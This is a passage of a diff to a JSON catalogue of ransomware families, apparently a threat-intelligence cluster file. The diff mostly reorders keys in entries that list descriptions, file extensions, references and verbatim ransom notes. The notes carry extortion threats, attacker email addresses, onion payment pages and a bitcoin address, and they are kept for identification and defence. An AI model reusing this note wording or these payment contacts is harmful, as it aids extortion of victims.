"Your files are now encrypted!\n\nYour personal identifier:\n[redacted hex]\n\nAll your files have been encrypted due to a security problem with your PC.\n\nNow you should send us email with your personal identifier.\nThis email will be as confirmation you are ready to pay for decryption key.\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\nAfter payment we will send you the decryption tool that will decrypt all your files.\n\nContact us using this email address: mr.leen@protonmail.com\n\nFree decryption as guarantee!\nBefore paying you can send us up to 3 files for free decryption.\nThe total size of files must be less than 10Mb (non archived), and files should not contain\nvaluable information (databases, backups, large excel sheets, etc.).\n\nHow to obtain Bitcoins?\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click\n 'Buy bitcoins', and select the seller by payment method and price:\n https://localbitcoins.com/buy_bitcoins\n * Also you can find other places to buy Bitcoins and beginners guide here:\n http://www.coindesk.com/information/how-can-i-buy-bitcoins\n\nAttention! \n * Do not rename encrypted files.\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\n * Decryption of your files with the help of third parties may cause increased price\n (they add their fee to our) or you can become a victim of a scam."
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/scarab-ransomware-pushed-via-massive-spam-campaign/",
+ "https://labsblog.f-secure.com/2017/11/23/necurs-business-is-booming-in-a-new-partnership-with-scarab-ransomware/",
+ "https://blogs.forcepoint.com/security-labs/massive-email-campaign-spreads-scarab-ransomware",
+ "https://twitter.com/malwrhunterteam/status/933643147766321152",
+ "https://myonlinesecurity.co.uk/necurs-botnet-malspam-delivering-a-new-ransomware-via-fake-scanner-copier-messages/",
+ "https://twitter.com/demonslay335/status/1006222754385924096",
+ "https://twitter.com/demonslay335/status/1006908267862396928",
+ "https://twitter.com/demonslay335/status/1007694117449682945"
]
},
- "uuid": "cf8fbd03-4510-41cc-bec3-712fa7609aa4"
+ "uuid": "cf8fbd03-4510-41cc-bec3-712fa7609aa4",
+ "value": "Scarab"
},
{
- "value": "File Spider",
"description": "A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contains malicious Word documents that will download and install the File Spider ransomware onto a victims computer.File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam start with subjects like\"Potrazivanje dugovanja\", which translates to \"Debt Collection\" and whose message, according to Google Translate, appear to be in Serbian.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/file-spider-ransomware-targeting-the-balkans-with-malspam/"
- ],
"extensions": [
".spider"
],
"ransomnotes": [
"HOW TO DECRYPT FILES.url",
"As you may have already noticed, all your important files are encrypted and you no longer have access to them. A unique key has been generated specifically for this PC and two very strong encryption algorithm was applied in that process. Original content of your files are wiped and overwritten with encrypted data so it cannot be recovered using any conventional data recovery tool.\n\nThe good news is that there is still a chance to recover your files, you just need to have the right key.\n\nTo obtain the key, visit our website from the menu above. You have to be fast, after 96 hours the key will be blocked and all your files will remain permanently encrypted since no one will be able to recover them without the key!\n\nRemember, do not try anything stupid, the program has several security measures to delete all your files and cause the damage to your PC.\n\nTo avoid any misunderstanding, please read Help section."
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/file-spider-ransomware-targeting-the-balkans-with-malspam/"
]
},
- "uuid": "3e75ce6b-b6de-4e5a-9501-8f9f847c819c"
+ "uuid": "3e75ce6b-b6de-4e5a-9501-8f9f847c819c",
+ "value": "File Spider"
},
{
- "value": "FileCoder",
"description": "A barely functional piece of macOS ransomware, written in Swift.",
"meta": {
"date": "Febuary 2017",
@@ -9279,10 +9283,10 @@
"Patcher"
]
},
- "uuid": "091c9923-5939-4bde-9db5-56abfb51f1a2"
+ "uuid": "091c9923-5939-4bde-9db5-56abfb51f1a2",
+ "value": "FileCoder"
},
{
- "value": "MacRansom",
"description": "A basic piece of macOS ransomware, offered via a 'malware-as-a-service' model.",
"meta": {
"date": "June 2017",
@@ -9290,18 +9294,16 @@
"https://objective-see.com/blog/blog_0x25.html"
]
},
- "uuid": "7574c7f1-5075-4230-aca9-d6c0956f1fac"
+ "uuid": "7574c7f1-5075-4230-aca9-d6c0956f1fac",
+ "value": "MacRansom"
},
{
- "value": "GandCrab",
"description": "A new ransomware called GandCrab was released towards the end of last week that is currently being distributed via exploit kits. GandCrab has some interesting features not seen before in a ransomware, such as being the first to accept the DASH currency and the first to utilize the Namecoin powered .BIT tld. ",
"meta": {
"date": "January 2018",
- "refs": [
- "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/",
- "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/",
- "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-version-2-released-with-new-crab-extension-and-other-changes/",
- "https://www.bleepingcomputer.com/news/security/gandcrab-version-3-released-with-autorun-feature-and-desktop-background/"
+ "extensions": [
+ ".Crab",
+ ".CRAB"
],
"ransomnotes": [
"GDCB-DECRYPT.txt",
@@ -9312,65 +9314,60 @@
"ENCRYPTED BY GANDCRAB 3\n\nDEAR [user_name],\n\nYOUR FILES ARE UNDER STRONG PROTECTION BY OUR SOFTWARE. IN ORDER TO RESTORE IT YOU MUST BUY DECRYPTOR\n\nFor further steps read CRAB-DECRYPT.txt that is located in every encrypted folder.",
" ---= GANDCRAB V3 =--- \n\nAttention! \n\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \n\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \n\n\nThe server with your key is in a closed network TOR. You can get there by the following ways: \n\n0. Download Tor browser - https://www.torproject.org/ \n\n1. Install Tor browser \n\n2. Open Tor Browser \n\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/[id] \n\n4. Follow the instructions on this page \n\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \n\n\nThe alternative way to contact us is to use Jabber messanger. Read how to:\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\n1. Register new account: http://sj.ms/register.php\n0) Enter \"username\": [id]\n1) Enter \"password\": your password\n2. Add new account in Psi\n3. Add and write Jabber ID: ransomware@sj.ms any message\n4. Follow instruction bot \n\nATTENTION!\nIt is a bot! It's fully automated artificial system without human control!\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \n\nCAUGHTION! \n\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! "
],
- "extensions": [
- ".Crab",
- ".CRAB"
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/",
+ "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/",
+ "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-version-2-released-with-new-crab-extension-and-other-changes/",
+ "https://www.bleepingcomputer.com/news/security/gandcrab-version-3-released-with-autorun-feature-and-desktop-background/"
]
},
- "uuid": "5920464b-e093-4fa0-a275-438dffef228f"
+ "uuid": "5920464b-e093-4fa0-a275-438dffef228f",
+ "value": "GandCrab"
},
{
- "value": "ShurL0ckr",
"description": "Security researchers uncovered a new ransomware named ShurL0ckr (detected by Trend Micro as RANSOM_GOSHIFR.B) that reportedly bypasses detection mechanisms of cloud platforms. Like Cerber and Satan, ShurL0ckr’s operators further monetize the ransomware by peddling it as a turnkey service to fellow cybercriminals, allowing them to earn additional income through a commission from each victim who pays the ransom.",
"meta": {
+ "date": "Febuary 2018",
"refs": [
"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/shurl0ckr-ransomware-as-a-service-peddled-on-dark-web-can-reportedly-bypass-cloud-applications"
- ],
- "date": "Febuary 2018"
+ ]
},
- "uuid": "cc7f6da3-fafd-444f-b7e9-f0e650fb4d4f"
+ "uuid": "cc7f6da3-fafd-444f-b7e9-f0e650fb4d4f",
+ "value": "ShurL0ckr"
},
{
- "value": "Cryakl",
"description": "ransomware",
"meta": {
+ "date": "January 2018",
+ "extensions": [
+ ".fairytail"
+ ],
"refs": [
"https://sensorstechforum.com/fr/fairytail-files-virus-cryakl-ransomware-remove-restore-data/",
"https://www.technologynews.tech/cryakl-ransomware-virus",
"http://www.zdnet.com/article/cryakl-ransomware-decryption-keys-now-available-for-free/"
- ],
- "date": "January 2018",
- "extensions": [
- ".fairytail"
]
},
- "uuid": "4f3e494e-0e37-4894-94b2-741a8100f07a"
+ "uuid": "4f3e494e-0e37-4894-94b2-741a8100f07a",
+ "value": "Cryakl"
},
{
- "value": "Thanatos",
"description": "first ransomware seen to ask for payment to be made in Bitcoin Cash (BCH)",
"meta": {
+ "extensions": [
+ ".THANATOS"
+ ],
"refs": [
"https://mobile.twitter.com/EclecticIQ/status/968478323889332226",
"https://www.eclecticiq.com/resources/thanatos--ransomware-first-ransomware-ask-payment-bitcoin-cash?type=intel-report"
- ],
- "extensions": [
- ".THANATOS"
]
},
- "uuid": "361d7a90-2fde-4fc7-91ed-fdce26eb790f"
+ "uuid": "361d7a90-2fde-4fc7-91ed-fdce26eb790f",
+ "value": "Thanatos"
},
{
- "value": "RSAUtil",
"description": "RSAUtil is distributed by the developer hacking into remote desktop services and uploading a package of files. This package contains a variety of tools, a config file that determines how the ransomware executes, and the ransomware itself.",
- "uuid": "f80b0a42-21ef-11e8-8ac7-0317408794e2",
"meta": {
- "refs": [
- "https://www.securityweek.com/rsautil-ransomware-distributed-rdp-attacks",
- "https://www.bleepingcomputer.com/news/security/rsautil-ransomware-helppme-india-com-installed-via-hacked-remote-desktop-services/",
- "http://id-ransomware.blogspot.lu/2017/04/rsautil-ransomware.html",
- "http://id-ransomware.blogspot.lu/2017/04/"
- ],
"ransomnotes": [
"How_return_files.txt",
"Image.jpg",
@@ -9383,73 +9380,77 @@
"https://2.bp.blogspot.com/-T4lvnNISc_A/WQY1SI1r1mI/AAAAAAAAE-E/tH7p02nS2LUTvXmq66poiyM1RYhHc4HbwCLcB/s200/lock-note.jpg",
"Hello…\nFor instructions on how to recovery the files, write to me:\nvine77725@gmx.de\nvine77725@india.com\nvine77725@protonmail.com\nIn the letter, indicate your personal ID (see the file format).\nIf you have not received an answer, write to me again."
],
+ "refs": [
+ "https://www.securityweek.com/rsautil-ransomware-distributed-rdp-attacks",
+ "https://www.bleepingcomputer.com/news/security/rsautil-ransomware-helppme-india-com-installed-via-hacked-remote-desktop-services/",
+ "http://id-ransomware.blogspot.lu/2017/04/rsautil-ransomware.html",
+ "http://id-ransomware.blogspot.lu/2017/04/"
+ ],
"synonyms": [
"Vagger",
"DONTSLIP"
]
- }
+ },
+ "uuid": "f80b0a42-21ef-11e8-8ac7-0317408794e2",
+ "value": "RSAUtil"
},
{
- "value": "Qwerty Ransomware",
"description": "A new ransomware has been discovered that utilizes the legitimate GnuPG, or GPG, encryption program to encrypt a victim's files. Currently in the wild, this ransomware is called Qwerty Ransomware and will encrypt a victims files, overwrite the originals, and the append the .qwerty extension to an encrypted file's name.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/qwerty-ransomware-utilizes-gnupg-to-encrypt-a-victims-files/"
- ],
"ransomnotes": [
"Your computer is encrypted . Mail cryz1@protonmail.com . Send your ID 5612.\nNote! You have only 72 hours for write on e-mail (see below) or all your files will be lost!",
"README_DECRYPT.txt"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/qwerty-ransomware-utilizes-gnupg-to-encrypt-a-victims-files/"
]
},
- "uuid": "15c370c0-2799-11e8-a959-57cdcd57e3bf"
+ "uuid": "15c370c0-2799-11e8-a959-57cdcd57e3bf",
+ "value": "Qwerty Ransomware"
},
{
- "value": "Zenis Ransomware",
"description": "A new ransomware was discovered this week by MalwareHunterTeam called Zenis Ransomware. While it is currently unknown how Zenis is being distributed, multiple victims have already become infected with this ransomware. What is most disturbing about Zenis is that it not encrypts your files, but also purposely deletes your backups.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/zenis-ransomware-encrypts-your-data-and-deletes-your-backups/"
- ],
"ransomnotes": [
"Zenis-Instructions.html",
"*** All your files has been encrypted ***\n\nI am ZENIS. A mischievous boy who loves cryptography, hardware and programming. My world is full of unanswered questions and puzzles half and half, and I'm coming to discover a new world. A world in digital space that you are supposed to play the role of my toys.\n\nIf you want to win in this game, you have to listen carefully to my instructions, otherwise you will be caught up in a one-step game and you will become the main loser of the story.\n\nMy instructions are simple and clear. Then follow these steps:\n\n1. Send this file (Zenis-Instructions.html) to my email with one your encrypted file less than 2 MB to trust to the game.\n\n2. I decrypt your file for free and send for you.\n\n3. If you confirm the correctness of the files, verify that the files are correct via email\n\n4. Then receive the price of decrypting files\n\n5. After you have deposited, please send me the payment details\n\n6. After i confirm deposit, i send you the \"Zenis Decryptor\" along with \"Private Key\" to recovery all your files.\n\nNow you can finish the game. You won the game. congratulations.\n\n\nPlease submit your request to both emails:\n\nTheZenis@Tutanota.com\n\nTheZenis@MailFence.com\n\nIf you did not receive an email after six hours, submit your request to the following emails:\n\nTheZenis@Protonmail.com\n\nTheZenis@Mail2Tor.com (On the TOR network)\n\n\nWarning: 3rd party and public programs, It may cause irreversible damage to your files. And your files will be lost forever."
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/zenis-ransomware-encrypts-your-data-and-deletes-your-backups/"
]
},
- "uuid": "cbe3ee70-2d11-11e8-84bb-9b3c525a48d9"
+ "uuid": "cbe3ee70-2d11-11e8-84bb-9b3c525a48d9",
+ "value": "Zenis Ransomware"
},
{
- "value": "Flotera Ransomware",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/author-of-polski-vortex-and-flotera-ransomware-families-arrested-in-poland/"
]
},
- "uuid": "aab356ac-396c-11e8-90c8-631229f19d7a"
+ "uuid": "aab356ac-396c-11e8-90c8-631229f19d7a",
+ "value": "Flotera Ransomware"
},
{
- "value": "Black Ruby",
"description": "A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/"
- ],
"extensions": [
".BlackRuby"
],
"ransomnotes": [
"HOW-TO-DECRYPT-FILES.txt",
" ____ __ __ ____ __\n / __ ) / /____ _ _____ / /__ / __ \\ __ __ / /_ __ __\n / __ |/ // __ `// ___// //_/ / /_/ // / / // __ \\ / / / /\n / /_/ // // /_/ // /__ / ,< / _, _// /_/ // /_/ // /_/ /\n /_____//_/ \\__,_/ \\___//_/|_| /_/ |_| \\__,_//_.___/ \\__, /\n /____/\n\n===================== Identification Key =====================\n\n[id]\n\n===================== Identification Key =====================\n\n[Can not access your files?]\n\nCongratulations, you are now part of our family #BlackRuby Ransomware. The range of this family is wider and bigger every day.\nOur hosts welcome our presence because we will give them a scant souvenir from the heart of Earth.\n\nThis time, we are guest with a new souvenir called \"Black Ruby\". A ruby in black, different, beautiful, and brilliant, which has been bothered to extract those years and you must also endure this hard work to keep it. If you do not have the patience of this difficulty or you hate some of this precious stone, we are willing to receive the price years of mining and finding rubies for your relief and other people of the world who are guests of the black ruby.\n\nSo let's talk a little bit with you without a metaphor and literary terms to understand the importance of the subject.\nIt does not matter if you're a small business or you manage a large organization, no matter whether you are a regular user or a committed employee, it's important that you have a black ruby and to get rid of it, you need to get back to previous situation and we need a next step.\n\nThe breadth of this family is not supposed to stop, because we have enough knowledge and you also trust our knowledge.\nWe are always your backers and guardian of your information at this multi-day banquet and be sure that no one in the world can take it from you except for us who extracts this precious stone. We need a two-sided cooperation in developing cybersecurity knowledge. The background to this cooperation is a mutual trust, which will result in peace and tranquility. you must pay $650 (USD) worth of Bitcoins for restore your system to the previous state and you are free to choose to stay in this situation or return to the normal.\n\nDo not forget that your opportunity is limited. From these limits you can create golden situations. Be sure we will help you in this way and to know that having a black ruby does not always mean riches. You and your system are poor, poor knowledge of cybersecurity and lack of security on your system!.\n\n ========================================================================================================================\n\n [HOW TO DECRYPT FILES]\n\n 1. Copy \"Identification Key\".\n 2. Send this key with two encrypted files (less than 5 MB) for trust us to email address \"TheBlackRuby@Protonmail.com\".\n 3. We decrypt your two files and send them to your email.\n 4. After ensuring the integrity of the files, you must pay $650 (USD) with bitcoin and send transaction code to our email, our bitcoin address is \"19S7k3zHphKiYr85T25FnqdxizHcgmjoj1\".\n 5. You get \"Black Ruby Decryptor\" Along with the private key of your system.\n 6. Everything returns to the normal and your files will bereleased.\n\n========================================================================================================================\n\n[What is encryption?]\n\nEncryption is a reversible modification of information for security reasons but providing full access to it for authorised users.\n To become an authorised user and keep the modification absolutely reversible (in other words to have a possibility to decrypt your files) you should have an \"Personal Identification Key\". But not only it. It is required also to have the special decryption software\n(in your case “Black Ruby Decryptor” software) for safe and complete decryption of all your files and data.\n\n[Everything is clear for me but what should I do?]\n\n The first step is reading these instructions to the end. Your files have been encrypted with the “Black Ruby Ransomware” software; the instructions (“HOW-TO-DECRYPT-FILES.txt”) in the folders with your encrypted files are not viruses, they will help you. After reading this text the most part of people start searching in the Internet the words the “Black Ruby Ransomware” where they find a lot of ideas, recommendation and instructions. It is necessary to realise that we are the ones who closed the lock on your files and we are the only ones who have this secret key to open them.\n\n[Have you got advice?]\n\n[*** Any attempts to get back you files with the third-party tools can be fatal for your encrypted files ***]\nThe most part of the tried-party software change data with the encrypted files to restore it but this cases damage to the files. \nFinally it will be impossible to decrypt your files. When you make a puzzle but some items are lost, broken or not put in its place - the puzzle items will never match, the same way the third-party software will ruin your files completely and irreversibly. You should realise that any intervention of the third-party software to restore files encrypted with the “Black Ruby Ransomware” software may be fatal for your files.\n\nIf you look through this text in the Internet and realise that something is wrong with your files but you do not have any instructions to restore your files, please contact your antivirus support."
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/"
]
},
- "uuid": "abf3001c-396c-11e8-8da6-ef501eef12e1"
+ "uuid": "abf3001c-396c-11e8-8da6-ef501eef12e1",
+ "value": "Black Ruby"
},
{
- "value": "WhiteRose",
"description": "A new ransomware has been discovered by MalwareHunterTeam that is based off of the InfiniteTear ransomware family, of which BlackRuby and Zenis are members. When this ransomware infects a computer it will encrypt the files, scramble the filenames, and append the .WHITEROSE extension to them.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/the-whiterose-ransomware-is-decryptable-and-tells-a-strange-story/"
- ],
"extensions": [
".WHITEROSE",
"_ENCRYPTED_BY.WHITEROSE"
@@ -9457,45 +9458,43 @@
"ransomnotes": [
"HOW-TO-RECOVERY-FILES.TXT",
"[Rose ASCII art]\n\n[WhiteRose written in ASCII art]\n\nThe singing of the sparrows, the breezes of the northern mountains and smell of the earth that was raining in the morning filled the entire garden space. I'm sitting on a wooden chair next to a bush tree, I have a readable book in my hands and I am sweating my spring with a cup of bitter coffee. Today is a different day.\n\nBehind me is an empty house of dreams and in front of me, full of beautiful white roses. To my left is an empty blue pool of red fish and my right, trees full of spring white blooms.\n\n I drink coffee, I'll continue to read a book from William Faulkner. In the garden environment, peace and quiet. My life always goes that way. Always alone without even an intimate friend.\n\nI have neither a pet, nor a friend or an enemy; I am a normal person with fantastic wishes among the hordes of white rose flowers. Everything is natural. I'm just a little interested in hacking and programming. My only electronic devices in this big garden are an old laptop for do projects and an iPhone for check out the news feeds for malware analytics on Twitter without likes posts.\n\nBelieve me, my only assets are the white roses of this garden. I think of days and write at night: the story, poem, code, exploit or the accumulation of the number of white roses sold and I say to myself that the wealth is having different friends of different races, languages, habits and religions, Not only being in a fairly stylish garden with full of original white roses.\n\nToday, I think deeply about the decision that has involved my mind for several weeks. A decision to freedom and at the worth of unity, intimacy, joy and love and is the decision to release white roses and to give gifts to all peoples of the world.\n\nI do not think about selling white roses again. This time, I will plant all the white roses of the garden to bring a different gift for the people of each country. No matter where is my garden and where I am from, no matter if you are a housekeeper or a big company owner, it does not matter if you are the west of the world or its east, it's important that the white roses are endless and infinite. You do not need to send letters or e-mails to get these roses. Just wait it tomorrow. Wait for good days with White Rose.\n\nI hope you accept this gift from me and if it reaches you, close your eyes and place yourself in a large garden on a wooden chair and feel this beautiful scene to reduce your anxiety and everyday tension.\n\nThank you for trusting me. Now open your eyes. Your system has a flower like a small garden; A white rose flower.\n\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n[Recovery Instructions]\n\n I. Download qTox on your computer from [https://tox.chat/download.html]\nII. Create new profile then enter our ID in search contacts\n Our Tox ID: \"6F548F217897AA4140FB4C514C8187F2FFDBA3CAFC83795DEE2FBCA369E689006B7CED4A18E9\". III. Wait for us to accept your request.\nIV. Copy '[PersonalKey]' in \"HOW-TO-RECOVERY-FILES.TXT\" file and send this key with one encrypted file less size then 2MB for trust us in our Tox chat.\n IV.I. Only if you did not receive a reply after 24 hours from us, send your message to our secure tor email address \"TheWhiteRose@Torbox3uiot6wchz.onion\".\n IV.II. For perform \"Step IV.I\" and enter the TOR network, you must download tor and register in \"http://torbox3uiot6wchz.onion\" Mail Service)\nV. We decrypt your two files and we will send you.\nVI. After ensuring the integrity of the files, We will send you payment info.\nVII. Now after payment, you get \"WhiteRose Decryptor\" Along with the private key of your system.\nVIII.Everything returns to the normal and your files will be released.\n\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\nWhat is encryption?\n\n In cryptography, encryption is the process of encoding a message or information in such a way that only authorized parties can access it, and those who are not authorized cannot. Encryption does not itself prevent interference, but denies the intelligible content to a would-be interceptor. In an encryption scheme, the intended information or message, referred to as plaintext, is encrypted using an encryption algorithm – a cipher – generating ciphertext that can be read only if decrypted. For technical reasons, an encryption scheme usually uses a pseudo-random encryption key generated by an algorithm. It is in principle possible to decrypt the message without possessing the key, but, for a well-designed encryption scheme, considerable computational resources and skills are required. An authorized recipient can easily decrypt the message with the key provided by the originator to recipients but not to unauthorized users. in your case “WhiteRose Decryptor” software for safe and complete decryption of all your files and data.\n\nAny other way?\n\nIf you look through this text in the Internet and realise that something is wrong with your files but you do not have any instructions to restore your files, please contact your antivirus support."
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/the-whiterose-ransomware-is-decryptable-and-tells-a-strange-story/"
]
},
- "uuid": "abc80362-396c-11e8-bc5c-8bca89c0f797"
+ "uuid": "abc80362-396c-11e8-bc5c-8bca89c0f797",
+ "value": "WhiteRose"
},
{
- "value": "PUBG Ransomware",
"description": "In what could only be a joke, a new ransomware has been discovered called \"PUBG Ransomware\" that will decrypt your files if you play the game called PlayerUnknown's Battlegrounds. Discovered by MalwareHunterTeam, when the PUBG Ransomware is launched it will encrypt a user's files and folders on the user's desktop and append the .PUBG extension to them. When it has finished encrypting the files, it will display a screen giving you two methods that you can use to decrypt the encrypted files.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/pubg-ransomware-decrypts-your-files-if-you-play-playerunknowns-battlegrounds/"
- ],
"extensions": [
".PUBG"
],
"ransomnotes": [
"https://www.bleepstatic.com/images/news/ransomware/p/pubg-ransomware/pubg-ransomware.jpg"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/pubg-ransomware-decrypts-your-files-if-you-play-playerunknowns-battlegrounds/"
]
},
- "uuid": "2239b3ca-3c9b-11e8-873e-53608d51ee71"
+ "uuid": "2239b3ca-3c9b-11e8-873e-53608d51ee71",
+ "value": "PUBG Ransomware"
},
{
- "value": "LockCrypt",
"description": "LockCrypt is an example of yet another simple ransomware created and used by unsophisticated attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don’t take much time preparing the attack or the payload. Instead, they’re rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/lockcrypt-ransomware-cracked-due-to-bad-crypto/"
]
},
- "uuid": "ac070e9a-3cbe-11e8-9f9d-839e888f2340"
+ "uuid": "ac070e9a-3cbe-11e8-9f9d-839e888f2340",
+ "value": "LockCrypt"
},
{
- "value": "Magniber Ransomware",
"description": "Magniber is a new ransomware being distributed by the Magnitude Exploit Kit that appears to be the successor to the Cerber Ransomware. While many aspects of the Magniber Ransomware are different than Cerber, the payment system and the files it encrypts are very similar.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/decrypters-for-some-versions-of-magniber-ransomware-released/",
- "https://www.bleepingcomputer.com/news/security/goodbye-cerber-hello-magniber-ransomware/",
- "https://twitter.com/demonslay335/status/1005133410501787648"
- ],
"extensions": [
".ihsdj",
".kgpvwnr",
@@ -9504,28 +9503,33 @@
"ransomnotes": [
"READ_ME_FOR_DECRYPT_[id].txt",
" ALL Y0UR D0CUMENTS, PHOTOS, DATABASES AND OTHER IMP0RTANT FILES HAVE BEEN ENCRYPTED!\n ====================================================================================================\n Your files are NOT damaged! Your files are modified only. This modification is reversible.\n\n The only 1 way to decrypt your files is to receive the private key and decryption program.\n\n Any attempts to restore your files with the third-party software will be fatal for your files!\n ====================================================================================================\n To receive the private key and decryption program follow the instructions below:\n\n 1. Download \"Tor Browser\" from https://www.torproject.org/ and install it.\n\n 2. In the \"Tor Browser\" open your personal page here:\n\n\n http://[victim_id].ofotqrmsrdc6c3rz.onion/EP866p5M93wDS513\n\n\n Note! This page is available via \"Tor Browser\" only.\n ====================================================================================================\n Also you can use temporary addresses on your personal page without using \"Tor Browser\":\n\n\n http://[victim_id].bankme.date/EP866p5M93wDS513\n\n http://[victim_id].jobsnot.services/EP866p5M93wDS513\n\n http://[victim_id].carefit.agency/EP866p5M93wDS513\n\n http://[victim_id].hotdisk.world/EP866p5M93wDS513\n\n\n Note! These are temporary addresses! They will be available for a limited amount of time!"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/decrypters-for-some-versions-of-magniber-ransomware-released/",
+ "https://www.bleepingcomputer.com/news/security/goodbye-cerber-hello-magniber-ransomware/",
+ "https://twitter.com/demonslay335/status/1005133410501787648"
]
},
- "uuid": "a0c1790a-3ee7-11e8-9774-93351d675a9e"
+ "uuid": "a0c1790a-3ee7-11e8-9774-93351d675a9e",
+ "value": "Magniber Ransomware"
},
{
- "value": "Vurten",
"meta": {
- "refs": [
- "https://twitter.com/siri_urz/status/981191281195044867"
- ],
"extensions": [
".improved"
],
"ransomnotes": [
"https://www.bleepstatic.com/images/news/columns/week-in-ransomware/2018/april/6/vurten.jpg",
"UNCRYPT.README"
+ ],
+ "refs": [
+ "https://twitter.com/siri_urz/status/981191281195044867"
]
},
- "uuid": "7666e948-3f09-11e8-b0b2-af79c067d856"
+ "uuid": "7666e948-3f09-11e8-b0b2-af79c067d856",
+ "value": "Vurten"
},
{
- "value": "Reveton ransomware",
"description": "A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.",
"meta": {
"refs": [
@@ -9534,82 +9538,74 @@
"https://nakedsecurity.sophos.com/2012/08/29/reveton-ransomware-exposed-explained-and-eliminated/"
]
},
- "uuid": "1912ec68-4145-11e8-ac06-9b6643035a71"
+ "uuid": "1912ec68-4145-11e8-ac06-9b6643035a71",
+ "value": "Reveton ransomware"
},
{
- "value": "Fusob",
"description": "Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about 56 percent of accounted mobile ransomware was Fusob.\nLike a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users’ anxiety as well.\nIn order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob.\nWhen Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively.\nFusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomwares between 2015 and 2016.",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Ransomware#Fusob"
]
},
- "uuid": "c921d9ac-4145-11e8-965b-df5002d4cad8"
+ "uuid": "c921d9ac-4145-11e8-965b-df5002d4cad8",
+ "value": "Fusob"
},
{
- "value": "OXAR",
"meta": {
- "refs": [
- "https://twitter.com/demonslay335/status/981270787905720320"
+ "extensions": [
+ ".FUCK"
],
"ransomnotes": [
"https://pastebin.com/xkRaRytW",
